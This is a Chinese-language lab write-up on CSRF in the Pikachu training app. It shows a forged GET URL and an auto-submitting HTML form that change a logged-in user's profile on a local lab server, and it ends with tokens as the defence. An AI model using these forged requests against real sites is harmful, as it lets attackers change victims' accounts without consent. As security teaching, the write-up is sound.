zoukankan      html  css  js  c++  java
  • pikachu——CSRF

    概述:

    CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造,在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接)。

    然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了

    CSRF攻击的条件:

    1.目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造

    2.lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用

    CSRF与XSS区别:

    CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。

    XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

    CSRF(get):

    我们点一下提示发现,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456

      登录成功后可以来到个人中心,可以在这修改个人信息

     修改一下个人信息并提交,我们来到burp抓包,修改个人信息的请求内容,我们改一下地址。

    从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让lili点击就好,我们构造的URL中把地址add改为bd。lili一点击就修改了地址。

      http://192.168.35.132/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=bd&email=lili%40pikachu.com&submit=submit

     这个实际上满足条件比较严苛,比如lucy必须是登陆状态,而且防范意识较低

    CSRF(post):

    POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。

     这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。

    编写个post.html页面,代码如下

    <html>
    <head>
    <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
    </script>
    </head>
    <body>
    <form method="post" action="http://192.168.35.132/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="18656565545" /> <input id="add" type="text" name="add" value="hebei" /> <input id="email" type="text" name="email" value="lili@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>

    然后我直接就把他放在了pikachu的目录下了,

    然后诱骗受害者点击链接:http://192.168.35.132/pikachu/post.html,就会自动往服务器发送POST请求,修改地址信息

    CSRF(token):

    跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。

    CSRF的主要问题是敏感操作容易被伪造,以加入Token让请求不容易被伪造,

    每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。

  • 相关阅读:
    Thread中的join使用
    java.lang.NoClassDefFoundError: Ljavax/enterprise/inject/spi/BeanManager;
    org.hibernate.HibernateException: Could not parse configuration: /hibernate.cfg.xm
    maven 中使用jstl 错误解决
    eclipse 安装maven
    前端 JS事件操作
    前端 JS
    前端 固定位置 与绝对定位
    前端 显示与隐藏
    前端 盒子阴影
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12513542.html
Copyright © 2011-2022 走看看